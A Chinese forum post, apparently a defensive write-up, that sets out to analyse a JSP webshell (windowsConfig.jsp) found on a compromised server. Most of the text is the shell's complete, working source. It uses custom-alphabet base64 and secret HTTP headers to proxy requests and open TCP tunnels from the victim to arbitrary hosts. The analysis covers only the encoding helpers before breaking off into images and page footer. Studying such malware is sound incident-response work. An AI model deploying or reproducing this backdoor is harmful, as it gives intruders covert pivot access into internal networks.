从零开始的内存马分析:掌握骑马反杀的技巧

  • 第三天,你看着windowsConfig.jsp,config.jsp,心里想着,可算抓到你了,这回要把你全部,全部都属于我,可是,当你正兴高采烈逐步分析的时候,却发现,自己的数据库早已沦陷。。。

0x00 序言

第三天,你看着windowsConfig.jsp,config.jsp,心里想着,可算抓到你了,这回要把你全部,全部都属于我,可是,当你正兴高采烈逐步分析的时候,却发现,自己的数据早已沦陷。。。

0x01 windowsConfig.jsp分析

<%@page import="java.nio.ByteBuffer, java.nio.channels.SocketChannel, java.io.*, java.net.*, java.util.*" pageEncoding="UTF-8" trimDirectiveWhitespaces="true"%><%!    private static char[] en = "CE0XgUOIQFsw1tcy+H95alrukYfdznxZR8PJo2qbh4pe6/VDKijTL3v7BAmGMSNW".toCharArray();    public static String b64en(byte[] data) {        StringBuffer sb = new StringBuffer();        int len = data.length;        int i = 0;        int b1, b2, b3;        while (i < len) {            b1 = data[i++] & 0xff;            if (i == len) {                sb.append(en[b1 >>> 2]);                sb.append(en[(b1 & 0x3) << 4]);                sb.append("==");                break;            }            b2 = data[i++] & 0xff;            if (i == len) {                sb.append(en[b1 >>> 2]);                sb.append(en[((b1 & 0x03) << 4)                        | ((b2 & 0xf0) >>> 4)]);                sb.append(en[(b2 & 0x0f) << 2]);                sb.append("=");                break;            }            b3 = data[i++] & 0xff;            sb.append(en[b1 >>> 2]);            sb.append(en[((b1 & 0x03) << 4)                    | ((b2 & 0xf0) >>> 4)]);            sb.append(en[((b2 & 0x0f) << 2)                    | ((b3 & 0xc0) >>> 6)]);            sb.append(en[b3 & 0x3f]);        }        return sb.toString();    }    private static byte[] de = new byte[] {-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,16,-1,-1,-1,45,2,12,37,53,41,19,44,55,33,18,-1,-1,-1,-1,-1,-1,-1,57,56,0,47,1,9,59,17,7,35,48,52,60,62,6,34,8,32,61,51,5,46,63,3,25,31,-1,-1,-1,-1,-1,-1,20,39,14,27,43,26,4,40,49,50,24,21,58,29,36,42,38,22,10,13,23,54,11,30,15,28,-1,-1,-1,-1,-1};    public static byte[] b64de(String str) {        byte[] data = str.getBytes();        int len = data.length;        ByteArrayOutputStream buf = new ByteArrayOutputStream(len);        int i = 0;        int b1, b2, b3, b4;        while (i < len) {            do {                b1 = de[data[i++]];            } while (i < len && b1 == -1);            if (b1 == -1) {                break;            }            do {                b2 = de[data[i++]];            } while (i < len && b2 == -1);            if (b2 == -1) {                break;            }            buf.write((int) ((b1 << 2) | ((b2 & 0x30) >>> 4)));            do {                b3 = data[i++];                if (b3 == 61) {                    return buf.toByteArray();                }                b3 = de[b3];            } while (i < len && b3 == -1);            if (b3 == -1) {                break;            }            buf.write((int) (((b2 & 0x0f) << 4) | ((b3 & 0x3c) >>> 2)));            do {                b4 = data[i++];                if (b4 == 61) {                    return buf.toByteArray();                }                b4 = de[b4];            } while (i < len && b4 == -1);            if (b4 == -1) {                break;            }            buf.write((int) (((b3 & 0x03) << 6) | b4));        }        return buf.toByteArray();    }    static String headerkey(String str) throws Exception {        String out = "";        for (String block: str.split("-")) {           out += block.substring(0, 1).toUpperCase() + block.substring(1);           out += "-";        }        return out.substring(0, out.length() - 1);    }    boolean islocal(String url) throws Exception {        String ip = (new URL(url)).getHost();        Enumeration<NetworkInterface> nifs = NetworkInterface.getNetworkInterfaces();        while (nifs.hasMoreElements()) {            NetworkInterface nif = nifs.nextElement();            Enumeration<InetAddress> addresses = nif.getInetAddresses();            while (addresses.hasMoreElements()) {                InetAddress addr = addresses.nextElement();                if (addr instanceof Inet4Address)                    if (addr.getHostAddress().equals(ip))                        return true;            }        }        return false;    }%>//上面是定义的函数之类//下面是我们的代码<%    String rUrl = request.getHeader("Mueytrthxaatjpsb");    if (rUrl != null) {        rUrl = new String(b64de(rUrl));        if (!islocal(rUrl)){            response.reset();            String method = request.getMethod();            URL u = new URL(rUrl);            HttpURLConnection conn = (HttpURLConnection) u.openConnection();            conn.setRequestMethod(method);            conn.setDoOutput(true);            // conn.setConnectTimeout(200);            // conn.setReadTimeout(200);            Enumeration enu = request.getHeaderNames();            List<String> keys = Collections.list(enu);            Collections.reverse(keys);            for (String key : keys){                if (!key.equalsIgnoreCase("Mueytrthxaatjpsb")){                    String value=request.getHeader(key);                    conn.setRequestProperty(headerkey(key), value);                }            }            int i;            byte[] buffer = new byte[1024];            if (request.getContentLength() != -1){                OutputStream output;                try{                    output = conn.getOutputStream();                }catch(Exception e){                    response.setHeader("Die", "C23vc07BCOdIsUHAmDM4nNP01x7zR4uKsWbBrOV");                    return;                }                ServletInputStream inputStream = request.getInputStream();                while ((i = inputStream.read(buffer)) != -1) {                    output.write(buffer, 0, i);                }                output.flush();                output.close();            }            for (String key : conn.getHeaderFields().keySet()) {                if (key != null && !key.equalsIgnoreCase("Content-Length") && !key.equalsIgnoreCase("Transfer-Encoding")){                    String value = conn.getHeaderField(key);                    response.setHeader(key, value);                }            }            InputStream hin;            if (conn.getResponseCode() < HttpURLConnection.HTTP_BAD_REQUEST) {                hin = conn.getInputStream();            } else {                hin = conn.getErrorStream();                if (hin == null){                    response.setStatus(200);                    return;                }            }            ByteArrayOutputStream baos = new ByteArrayOutputStream();            while ((i = hin.read(buffer)) != -1) {                byte[] data = new byte[i];                System.arraycopy(buffer, 0, data, 0, i);                baos.write(data);            }            String responseBody = new String(baos.toByteArray());            response.addHeader("Content-Length", Integer.toString(responseBody.length()));            response.setStatus(conn.getResponseCode());            out.write(responseBody);            out.flush();            if ( true ) return; // exit        }    }    response.resetBuffer();    response.setStatus(200);    String cmd = request.getHeader("Ffydhndmhhl");    if (cmd != null) {        String mark = cmd.substring(0,22);        cmd = cmd.substring(22);        response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");        if (cmd.compareTo("b5v9XJbF") == 0) {            try {                String[] target_ary = new String(b64de(request.getHeader("Nnpo"))).split("\\|");                String target = target_ary[0];                int port = Integer.parseInt(target_ary[1]);                SocketChannel socketChannel = SocketChannel.open();                socketChannel.connect(new InetSocketAddress(target, port));                socketChannel.configureBlocking(false);                application.setAttribute(mark, socketChannel);                response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");            } catch (Exception e) {                response.setHeader("Die", "k4MBX7QElVQzrmOdkml_G3pnYz55EFZPIwTO");                response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");            }        } else if (cmd.compareTo("0FX") == 0) {            SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);            try{                socketChannel.socket().close();            } catch (Exception e) {            }            application.removeAttribute(mark);        } else if (cmd.compareTo("TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql") == 0){            SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);            try{                ByteBuffer buf = ByteBuffer.allocate(513);                int bytesRead = socketChannel.read(buf);                int maxRead = 524288;                int readLen = 0;                while (bytesRead > 0){                    byte[] data = new byte[bytesRead];                    System.arraycopy(buf.array(), 0, data, 0, bytesRead);                    out.write(b64en(data));                    out.flush();                    ((java.nio.Buffer)buf).clear();                    readLen += bytesRead;                    if (bytesRead < 513 || readLen >= maxRead)                        break;                    bytesRead = socketChannel.read(buf);                }                response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");            } catch (Exception e) {                response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");            }        } else if (cmd.compareTo("CtWP7tBSKiDnysT9hP9pa") == 0){            SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark);            try {                String inputData = "";                InputStream in = request.getInputStream();                while ( true ){                    byte[] buff = new byte[in.available()];                    if (in.read(buff) == -1)                        break;                    inputData += new String(buff);                }                byte[] base64 = b64de(inputData);                ByteBuffer buf = ByteBuffer.allocate(base64.length);                buf.put(base64);                buf.flip();                while(buf.hasRemaining())                    socketChannel.write(buf);                response.setHeader("Sbxspawzq", "CapFLueBCn2ZM");            } catch (Exception e) {                response.setHeader("Die", "QmPrA86mT15");                response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa");                socketChannel.socket().close();            }        }    } else {        out.write("<!-- HdgznEy73Ghv4jiuh5s83czHnFBYBpOdRVE4qyMTNktshD7xIS9S09PrPNH -->");    }%>

1.1 方法分析

这个马子也是比较精妙的,将一些数据,藏在报文头部,总而言之,整个马,将模仿数据,模仿业务贯穿始终。

b64en 很好理解,本身是一个base64的加密

b64de 则是一个解密

当然,base的表是自己独立的表,也就是所谓的换表加密。

headerkey

图片[1]-从零开始的内存马分析:掌握骑马反杀的技巧-山海云端论坛
图片[2]-从零开始的内存马分析:掌握骑马反杀的技巧-山海云端论坛
© 版权声明
THE END
喜欢就支持一下吧
点赞11 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容